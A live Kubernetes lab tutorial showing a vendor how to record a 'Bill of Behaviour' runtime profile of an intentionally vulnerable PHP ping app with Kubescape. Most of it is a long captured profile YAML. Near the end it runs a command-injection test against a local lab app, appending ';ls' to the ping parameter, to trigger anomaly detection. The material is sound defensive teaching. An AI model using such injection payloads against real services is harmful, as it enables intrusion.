- Next →
- Vendor -Publish in CI/CD
Create a Bill of Behaviour - 1 Setup the app and produce benign behaviour
Pretending we are the supplier company of the software webapp , which is a single container php application,
we will now create a simple BoB for this webapp- product.
For this first Module, we need to:
- Deploy the application
- Produce traffic: execute/trigger all known behaviour (by e.g. using a load test or more old-fashioned cypress tests)
- Profile (i.e.
recordortrace) the benign behaviour - Export the profile
UseCase
We have two different usecases:
- Normal anomalies
A CVE is present in the app, or it gets exploited - Supply Chain anomalies
The artefact is not the one from the vendor , OR the vendor s supply chain got compromised, OR its a typosquatting OR something else went wrong I.e. the behaviour of the app has something additional in there , very often a beacon or something backdoor. Or just a cryptominer.
Now: some of these are easy to catch:- cryptominers
- modified utilities (like using a SETUID)
- most sorts of exfiltration
- droppers and loaders
for some, a SBOM is sufficient (if your chain of trust is tight). Still, the runtime behaviour could catch things in a orthogonal way. Like two eyes see better than one.
Some will be very hard to catch: - A pod accessing service account tokens , even if the app has zero need for one -> this is very noisy - the attack sleeping for very long between infection and exploitation -> it will look more like a normal attack if the correlation between the specific artefact having been deployed and the anomaly are temporarily separated . especially if its targeted (i.e. noone else sees the same thing)
Diagram of vendor publication of a BoB
Diagram of customer BoB installation and verification
Familiarize yourself with this lab and clone the repository
Make sure, you have this lab open in Chrome. Safari doesnt work.
Please hover over the bottom right corner of the below box, when the Copy symbol appears, click it and Paste it into the right hand terminal (you need to activate the playground first). In Windows, you need to right click or configure what keybindings your browser is listening to.
You now are running a development environment of kubernetes, in Module 3, we will run a different flavour, called k3s, which is a real kubernetes distribution. This is to showcase, that a vendor and a consumer will likely use different infrastructure.
This Lab-Module 1 has also been executed on kind, which is often used in CI/CD, but it runs kubernetes in docker
allowing us to argue if running this entire BoB-generation inside CI/CD is an option. In the repo, there are BoB produced for a variety of kubernetes's/archs and I will be adding a discussion of their differences soon.
THIS LAB IS LIVE, live rewrites could be going on.
This means, the writing on the left here can change in real time. Since you have found this lab, you likely know
Constanze, and should something happen that you have issue with, please, ping her in your usual communication channel (icmp may not be the right one 🤣)
git clone https://github.com/k8sstormcenter/honeycluster.git
cd honeycluster
git checkout 162-write-bob-testscript-for-anyone-to-contribute-a-bob-for-the-pingapps
make storage kubescape-bob-kind
kubectl get pods -n honey -l app.kubernetes.io/instance=kubescape
You want the STATUS of all pods to be Running, like so:
laborant@dev-machine:~/honeycluster$ kubectl get pods -n honey -l app.kubernetes.io/instance=kubescape
NAME READY STATUS RESTARTS AGE
kubescape-6685556665-5p6sh 1/1 Running 0 21m
kubevuln-5645447f88-6dc65 1/1 Running 0 21m
node-agent-5n6fr 1/1 Running 0 4m50s
node-agent-5wxzs 1/1 Running 0 4m56s
node-agent-w4c2g 1/1 Running 0 5m41s
operator-5dddf6f84-8nlpl 1/1 Running 0 21m
storage-54597f8454-nlgfh 1/1 Running 0 21m
1 Deploy
Using a well-known demo** app, we deploy a ping utility called webapp that has
- a) Desired functionality: it pings things.
- b) Undesired functionality: it is vulnerable to injection (runtime is compromised).
- This is to mimic a CVE in your app.
- c) Tampering with the artefact: In module 2, we will additionally tamper with the artifact and make it create a backdoor (supply chain is compromised).
- This is to mimic a SupplyChain corruption between vendor and you.
cd traces/kubescape-verify/attacks/webapp/
chmod +x setup.sh
./setup.sh
If you prefer to manually check your app is up:
kubectl get pods -l app=webapp -o jsonpath='{range .items[*]}{.status.conditions[?(@.type=="Ready")].status}{"\n"}{end}'
If you get True, proceed:
**: credit belongs entirely to the original authors
2 Generate Traffic of benign behaviour
Benign (adjective) bi-ˈnīn
- Benignity (noun) bi-ˈnig-nə-tē
- Benignly (adverb) bi-ˈnīn-lē
Definitions/SYNONYMS:
- Of a mild type or character that does not threaten health or life. HARMLESS.
- Of a gentle disposition: GRACIOUS.
- Showing kindness and gentleness. FAVORABLE, WHOLESOME.
We assume that the full set of benign behaviour consists of the webapp performing a few pings interally to our cluster. Thus, we simply make the app execute a few such pings. This is not representative for all possible things
that the webapp could do, but lets keep it simple, for starts.
Open a new tab new terminal
Lets test the ping:
curl localhost:8080/ping.php?ip=172.16.0.2
if that works, let it loop
while true; do curl localhost:8080/ping.php?ip=172.16.0.2; sleep 10; done
Do not kill the looping. Please, switch back to the original dev-machine tab, and you are ✅
WIP: We understand that this webapp is extremely simplistic and in Module 4 will show how we
would approach multi-container pods, such as when sidecars are injected.
There we'll discuss how those deployments can be handled and if everything is additive
(Thanks Ben for pointing this out)
References
Glossary
- Software Bill of Behaviour (SBOB) or (BoB)
A Software Bill of Behaviors (SBoB) is an emerging concept aimed at capturing and documenting the runtime behavior of software components to enhance system security and threat detection.
Profiling with Kubescape
Now, we are still the vendor and have the webapp deployed on our cluster.
We are producing benign traffic that triggers all known behaviour of our webapp
Viktor made a video of this feature, so if you dont know kubescape, consider watching https://www.youtube.com/watch?v=xilNX_mh6vE
IRL: the vendor needs to ensure that all application and network behaviour during a normal productive usecase are being triggered. Usually, this would be a combo between integration, load and behaviour-driven tests. Maybe UX test or traffic replay.
We have installed kubescape (see the Makefile for details), it will help us use eBPF/Inspector Gadget in a hands-off manner via its nodeagent-component. So we'll use a config that only installs the runtime-behaviour module produce an output that an end-user can directly consume, without having to deal with inspector gadget or ebpf or low-level stuff.
kubectl get pods -n honey -l app.kubernetes.io/instance=kubescape
Optional:
While waiting for all pods to be ready, you could spend the time playing with the UI k9s
Kubescape Architecture
If all kubescape pods are healthy, we can move on and inspect our ApplicationProfile, that will serve as base for our BoB. (if any of the pods are unhealthy, the ApplicationProfile is likely incomplete and you should not use it)
kubectl get pods -n honey -l app.kubernetes.io/instance=kubescape
You want the STATUS of all pods to be Running
laborant@dev-machine:~/honeycluster$ kubectl get pods -n honey -l app.kubernetes.io/instance=kubescape
NAME READY STATUS RESTARTS AGE
kubescape-6685556665-5p6sh 1/1 Running 0 21m
kubevuln-5645447f88-6dc65 1/1 Running 0 21m
node-agent-5n6fr 1/1 Running 0 4m50s
node-agent-5wxzs 1/1 Running 0 4m56s
node-agent-w4c2g 1/1 Running 0 5m41s
operator-5dddf6f84-8nlpl 1/1 Running 0 21m
storage-54597f8454-nlgfh 1/1 Running 0 21m
Next, we ll check the configuration in order to understand long we are expected to wait until a profile is considered ready.
The settings are in a ConfigMap and CustomResourceDefinition named RuntimeRuleAlertBinding
kubectl describe cm -n honey ks-cloud-config
kubectl describe RuntimeRuleAlertBinding all-rules-all-pods
So, first note how the exclusions are set in the rules.
And, there shouldnt be any:
namespaceSelector:
matchExpressions:
- key: kubernetes.io/metadata.name
operator: NotIn
values:
- kubescape
- kube-system
- cert-manager
- openebs
- kube-public
- kube-node-lease
- kubeconfig
- gmp-system
- gmp-public
- honey
- storm
- lightening
- kube-flannel
rules:
- ruleName: Unexpected process launched
#check that the following BLOCK is not in the file
- parameters:
ignoreMounts: true
ignorePrefixes:
- /proc
- /run/secrets/kubernetes.io/serviceaccount
- /var/run/secrets/kubernetes.io/serviceaccount
- /tmp
# BLOCK THAT SHOULDNT BE THERE - END
Couple of other important settings to be aware of that govern the anomaly detection and the
learning duration. i.e. how long we have to generate a benign behaviour profile.
nodeAgent:
name: node-agent
...
config:
maxLearningPeriod: 5m # duration string
learningPeriod: 2m # duration string
updatePeriod: 1m # duration string
nodeProfileInterval: 1m # duration string
in order to display this, you can open k9s by typing that in your terminal.
Then, using vim syntax (the one and only), inside the k9s dialogue
k9s
:helm
select kubescape-operator using the arrow-keys and press v for seeing the values of the helm chart.
Context: kubernetes-admin@kubernetes 🖍 <c> … ____ __ ________ │ │ │ │ │ │
Cluster: kubernetes <e> | |/ / __ \______ \ │ │ │ │ │ │
User: kubernetes-admin <n> | /\____ / ___/ ─ │ │ │ │ │ │
K9s Rev: v0.50.3 ⚡️ v0.50.4 <shif| \ \ / /\___ \ ┐ │ │ │ │ │ │
K8s Rev: v1.32.4 <v> |____|\__ \/____//____ / │ │ │ │ │ │ │
CPU: n/a <r> \/ \/ │ │ │ │ │ │
MEM: n/a │ │ │ │ │ │ │
┌─────────────────────────── Values(honey/kubescape) ────────────────────────────┐│ │ │ │ │ │ │
│ alertCRD: ││ │ │ │ │ │ │
│ installDefault: true ││ │ │ │ │─│─────────────────┘
│ scopeClustered: true ││ │ │ │ │ ┘
│ capabilities: ││ │ │ ──│────────┘
│ runtimeDetection: enable ││ │ │ ┘
│ clusterName: honeycluster ││ │ │
│ excludeNamespaces: kubescape,kube-system,kube-public,kube-node-lease,kubeconfi ││ │ │
│ g,gmp-system,gmp-public,honey,storm,lightening,cert-manager,openebs ││ │ │
│ ksNamespace: honey ││ │ ─│──────
│ nodeAgent: ││ │ ┘
│ config: ││ │
│ learningPeriod: 2m ││ │─
│ maxLearningPeriod: 5m ││ │
│ updatePeriod: 1m ││ │
│ env: ││ │
│ - name: NodeName ││ │
│ valueFrom: ││─│
│ fieldRef: ││ ┘
│ fieldPath: spec.nodeName
││
In the beginning, we should not have any ApplicationProfiles.
kubectl get applicationprofile -A
after some time: likely, you ll see something like:
NAMESPACE NAME CREATED AT
default replicaset-webapp-85974bd68f 2025-04-16T13:58:34Z
Now, you may switch of the looping in the other tab and look at generated profile
export rs=$(kubectl get replicaset -n default -o jsonpath='{.items[0].metadata.name}')
kubectl describe applicationprofile replicaset-$rs
We want to wait until the status is completed
If the above indicator is green, this means that the following event has been reached by kubescape:
kubectl logs -n honey -l app=node-agent -c node-agent | grep ended
{"level":"info","ts":"2025-04-16T12:06:57Z","msg":"stop monitor on container - monitoring time ended","container ID":"8ac882eefce545c63fdad8d090f7d6074389301c0474b9aed810f207fa62e924","k8s workload":"default/webapp/ping-app"}
We want to wait until the status is completed
Also, in the crd annotation, you will find the status completed now.
kubectl describe applicationprofile replicaset-webapp-xxx
...
...
Annotations: kubescape.io/status: completed
Now, we must save this above file onto disk:
kubectl get applicationprofile replicaset-$rs -o yaml > app-profile-webapp.yaml
Great job!
References
- Kubescape Nodeagent
Documentation on Runtime threat detection as part of the Kubescape Operator
Glossary
- Software Bill of Behaviour (SBOB) or (BoB)
A Software Bill of Behaviors (SBoB) is an emerging concept aimed at capturing and documenting the runtime behavior of software components to enhance system security and threat detection.
Create the Bill Of Behaviour - Hello Bob
Lets look in more detail at the profile that recorded this benign behaviour , yours should be different
cat app-profile-webapp.yaml
You ll recognize different blocks, they are traced using different inspector gadget modules. The CRD is owned by kubescape.
Spec:
Architectures:
amd64
Containers:
Capabilities:
NET_RAW
SETUID
Endpoints:
Direction: inbound
Endpoint: :32132/ping.php
Headers:
Host:
172.16.0.2:32132
Internal: false
Methods:
GET
Execs:
Args:
/bin/ping
-c
4
172.16.0.2
Path: /bin/ping
Args:
/bin/sh
-c
ping -c 4 172.16.0.2
Path: /bin/sh
Image ID: docker.io/amitschendel/ping-app@sha256:99fe0f297bbaeca...
Image Tag: docker.io/amitschendel/ping-app:latest
Name: ping-app
Opens:
Flags:
O_RDONLY
Path: /var/www/html/ping.php
Flags:
O_CLOEXEC
O_RDONLY
Path: /lib/x86_64-linux-gnu/libc-2.31.so
...
Syscalls:
accept4
capset
chdir
clone
...
Does this translate across different cluster types?
Glad you asked :)
It does ... somehwat . Before we look at various sidecars and multi-container-pods. Lets stay with this simply ping webapp that does very little, and compare its profiles across various clusters and archs:
You ll notice, that the network connections are a bit different, this has to do with how the port-forward was done.
The other obvious difference is that on arm some calls are named differently, such as O_DIRECT instead of O_DIRECTORY.
Furthermore, on kind there are fewer syscalls, 77 vs 86, which is likely due to the different archicture (I didnt check them all).
For this very simple app it is encouraging to see that there are few differences. For vendors it may not be possible to provide a BoB for all combinations of filesystem, network, kernel etc versions.
We do expect (minor) differences though, also for the container runtimes and have devised some tests to trigger those.
apiVersion: spdx.softwarecomposition.kubescape.io/v1beta1
kind: ApplicationProfile
metadata:
name: NEEDSTOMATCH
namespace: NEEDSTOMATCH
spec:
architectures:
- amd64
containers:
- capabilities:
- DAC_OVERRIDE
- SETGID
- SETUID
execs:
- args:
- /bin/mkdir
- -p
- /var/lock/apache2
path: /bin/mkdir
- args:
- /usr/local/bin/docker-php-entrypoint
- apache2-foreground
path: /usr/local/bin/docker-php-entrypoint
- args:
- /usr/bin/dirname
- /var/log/apache2
path: /usr/bin/dirname
- args:
- /bin/mkdir
- -p
- /var/run/apache2
path: /bin/mkdir
- args:
- /usr/bin/dirname
- /var/lock/apache2
path: /usr/bin/dirname
- args:
- /bin/mkdir
- -p
- /var/log/apache2
path: /bin/mkdir
- args:
- /usr/bin/dirname
- /var/run/apache2
path: /usr/bin/dirname
- args:
- /usr/sbin/apache2
- -DFOREGROUND
path: /usr/sbin/apache2
- args:
- /usr/local/bin/apache2-foreground
path: /usr/local/bin/apache2-foreground
- args:
- /bin/rm
- -f
- /var/run/apache2/apache2.pid
path: /bin/rm
imageID: docker.io/amitschendel/ping-app@sha256:99fe0f297bbaeca1896219486de8d777fa46bd5b0cabe8488de77405149c524d
imageTag: docker.io/amitschendel/ping-app:latest
name: ping-app
opens:
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_authz_host.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/auth_basic.load
- flags:
- O_RDONLY
path: /usr/local/etc/php/conf.d/docker-php-ext-sodium.ini
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/authn_core.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/conf-available/security.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libkrb5support.so.0.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_reqtimeout.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/ports.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/local/lib/php/extensions/no-debug-non-zts-20190902/sodium.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/env.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libkrb5.so.3.3
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.10
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libresolv-2.31.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libnghttp2.so.14.20.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libbrotlicommon.so.1.0.9
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/hosts
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libreadline.so.8.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libcrypt.so.1.1.0
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/mime.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/liblzma.so.5.2.5
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/mpm_prefork.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.11.5
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/negotiation.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_negotiation.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/nsswitch.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libm-2.31.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libsodium.so.23.3.0
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/negotiation.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libonig.so.5.1.0
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/php7.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libgpg-error.so.0.29.0
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_access_compat.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /proc/⋯/mounts
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/authz_user.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/mime.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libpthread-2.31.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/dir.conf
- flags:
- O_CLOEXEC
- O_DIRECTORY
- O_NONBLOCK
- O_RDONLY
path: /etc/apache2/conf-enabled
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/host.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.8
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/status.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/share/zoneinfo/Etc/UTC
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/deflate.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_filter.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libselinux.so.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libbrotlidec.so.1.0.9
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libpcre.so.3.13.3
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/deflate.load
- flags:
- O_RDONLY
path: /proc/sys/kernel/ngroups_max
- flags:
- O_RDONLY
path: /usr/local/bin/docker-php-entrypoint
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_status.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libdl-2.31.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libnss_files-2.31.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/setenvif.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/access_compat.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/reqtimeout.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/ld.so.cache
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_authz_user.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/librtmp.so.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libgcc_s.so.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libcurl.so.4.7.0
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libgnutls.so.30.29.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libcap.so.2.44
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.11.5
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libssh2.so.1.0.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0.6.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_alias.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/authn_file.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_mpm_prefork.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libk5crypto.so.3.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libexpat.so.1.6.12
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/autoindex.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_env.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_deflate.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/group
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libtinfo.so.6.2
- flags:
- O_RDONLY
path: /usr/local/bin/apache2-foreground
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/conf-available/other-vhosts-access-log.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/authz_core.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/authz_host.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/mpm_prefork.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/gai.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/sites-available/000-default.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_authz_core.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/alias.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_autoindex.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libnettle.so.8.4
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libicudata.so.67.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libapr-1.so.0.7.0
- flags:
- O_CLOEXEC
- O_DIRECTORY
- O_NONBLOCK
- O_RDONLY
path: /etc/apache2/sites-enabled
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libgmp.so.10.4.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/setenvif.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/resolv.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libicuuc.so.67.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libhogweed.so.6.4
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
- flags:
- O_RDONLY
path: /etc/apache2/envvars
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/alias.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_authn_file.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_setenvif.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/dir.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libc-2.31.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/conf-available/localized-error-pages.conf
- flags:
- O_RDONLY
path: /var/www/html/ping.php
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/passwd
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_mime.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
- flags:
- O_CREAT
- O_EXCL
- O_RDWR
path: /run/apache2/apache2.pid.RS0yKf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libssl.so.1.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libcom_err.so.2.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/libphp7.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_authn_core.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libargon2.so.1
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libtasn1.so.6.6.0
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/filter.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libz.so.1.2.11
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/conf-available/docker-php.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/autoindex.load
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/conf-available/charset.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/status.load
- flags:
- O_RDONLY
path: /etc/ssl/openssl.cnf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /proc/⋯/task/1/fd
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/conf-available/serve-cgi-bin.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_auth_basic.so
- flags:
- O_CLOEXEC
- O_DIRECTORY
- O_NONBLOCK
- O_RDONLY
path: /usr/local/etc/php/conf.d
- flags:
- O_CLOEXEC
- O_RDONLY
path: /lib/x86_64-linux-gnu/libkeyutils.so.1.9
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/apache2.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/apache2/mods-available/reqtimeout.conf
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
- flags:
- O_CLOEXEC
- O_DIRECTORY
- O_NONBLOCK
- O_RDONLY
path: /etc/apache2/mods-enabled
- flags:
- O_CLOEXEC
- O_RDONLY
path: /etc/mime.types
- flags:
- O_CLOEXEC
- O_RDONLY
path: /usr/lib/apache2/modules/mod_dir.so
- flags:
- O_CLOEXEC
- O_RDONLY
path: /proc/filesystems
seccompProfile:
spec:
defaultAction: ""
syscalls:
- accept4
- access
- arch_prctl
- bind
- brk
- capget
- capset
- chdir
- chmod
- clone
- close
- close_range
- connect
- dup2
- dup3
- epoll_create1
- epoll_ctl
- epoll_pwait
- execve
- exit
- exit_group
- faccessat2
- fcntl
- fstat
- fstatfs
- futex
- getcwd
- getdents64
- getegid
- geteuid
- getgid
- getpgrp
- getpid
- getppid
- getrandom
- getsockname
- getsockopt
- gettid
- getuid
- ioctl
- listen
- lseek
- lstat
- mkdir
- mmap
- mprotect
- munmap
- nanosleep
- newfstatat
- openat
- pipe
- pipe2
- poll
- prctl
- prlimit64
- read
- recvfrom
- recvmsg
- rename
- rt_sigaction
- rt_sigprocmask
- rt_sigreturn
- select
- sendto
- set_robust_list
- set_tid_address
- setgid
- setgroups
- setitimer
- setsockopt
- setuid
- shutdown
- sigaltstack
- socket
- stat
- statfs
- sysinfo
- times
- tkill
- umask
- uname
- unlinkat
- vfork
- wait4
- write
- writev
References
- OCI Image Specification
The specification governing container images, used as the foundation for artifact transport. - binfmt_misc & QEMU Emulation
Documentation on enabling cross-architecture emulation for binary execution in container.
Glossary
- Software Bill of Behaviour (SBOB) or (BoB)
A Software Bill of Behaviors (SBoB) is an emerging concept aimed at capturing and documenting the runtime behavior of software components to enhance system security and threat detection.
Verify the anomaly detection
SKETCH (this will be moved )
We now verify that kubescape is now watching for anything that was not previously recorded as benign .
TODO: C wants to implement specifically an exfiltration usecase: where the app is not just doing a ping, but sending telemetry to the maintainers for debugging purposes. Can we estimate the increase in detection rates if we include known telemetry network endpoints into the BoB? (Task for C)
1) Normal anomalies: A malicious runtime behaviour by executing a simple injection like so:
in Tab 1 tail the logs again
kubectl logs -n honey -l app=node-agent -f -c node-agent
and in Tab 2, let's do something malicious
curl localhost:8080/ping.php?ip=172.16.0.2\;ls
In the other tab, you should now see unexpected things:
